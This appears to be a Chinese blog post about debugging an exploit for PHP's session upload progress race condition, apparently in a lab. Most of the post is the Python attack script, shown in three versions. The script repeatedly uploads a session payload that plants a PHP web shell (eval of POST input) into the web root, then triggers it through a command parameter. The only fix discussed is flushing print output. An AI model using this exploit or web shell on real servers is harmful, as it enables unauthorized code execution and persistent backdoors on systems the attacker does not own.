如下脚本，利用php的PHP_SESSION_UPLOAD_PROGRESS条件竞争漏洞执行一直着没反应：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

import requests
import threading
import sys


session = requests.session()
sess = 'zzx'
url1 = "http://192.168.50.162/a.php"
flag=''
# file后为phpsession的路径
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'pwdd';file_put_contents('/var/www/html/1.php','<?php phpinfo();eval($_POST[1]); ?>');?>"
}
data2 = {
    'cmd' : 'php /var/lib/php/sessions/sess_'+sess
}
file = {
    'file': 'abc'
}
cookies = {
    'PHPSESSID': sess
}

def write():
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)

def read():
    while True:
        r = session.post(url1, data=data2)
        if 'pwdd' in r.text:
            print(r.text)
            return
            
    

t=threading.Thread(target=write)
t.setDaemon(True)
t.start()
read()

但是拆成两个脚本同时运行可以成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

import requests
import threading
import sys


session = requests.session()
sess = 'zzx'
url1 = "http://192.168.50.162/a.php"

data2 = {
    'cmd' : 'php /var/lib/php/sessions/sess_'+sess
}


while True:
    r = session.post(url1, data=data2)
    if 'pwdd' in r.text:
        print(r.text)
   
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

import requests
import threading
import sys


session = requests.session()
sess = 'zzx'
url1 = "http://192.168.50.162/a.php"

flag=''
# file后为phpsession的路径
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'pwdd';file_put_contents('/var/www/html/1.php','<?php phpinfo();eval($_POST[1]); ?>');?>"
}
file = {
    'file': 'abc'
}
cookies = {
    'PHPSESSID': sess
}


while True:
    r = session.post(url1, data=data1, files=file, cookies=cookies)

经过研究发现实际上是利用成功的，无非是print不显示，之后查到了这个原因：https://stackoverflow.com/a/43736208/10096812
需要把print改为print('Your text', flush=True)以刷新缓冲区。

改进了脚本就可以了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

import requests
import threading
import sys


session = requests.session()
sess = 'zzx'
url1 = "http://192.168.50.162/a.php"

flag=''
# file后为phpsession的路径
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS':"<?php echo 'pwdd';file_put_contents('/var/www/html/1.php','<?php phpinfo();eval($_POST[1]); ?>');?>"
}
data2 = {
    'cmd' : 'php /var/lib/php/sessions/sess_'+sess
}
print(data2)
file = {
    'file': 'abc'
}
cookies = {
    'PHPSESSID': sess
}

def write():
    print(2, flush=True)
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    print(1, flush=True)
    while True:
        r = session.post(url1, data=data2)
        if 'pwdd' in r.text:
            print(r.text, flush=True)
            return
            
t=threading.Thread(target=write)
t.setDaemon(True)
t.start()
read()

说些什么吧！

utterances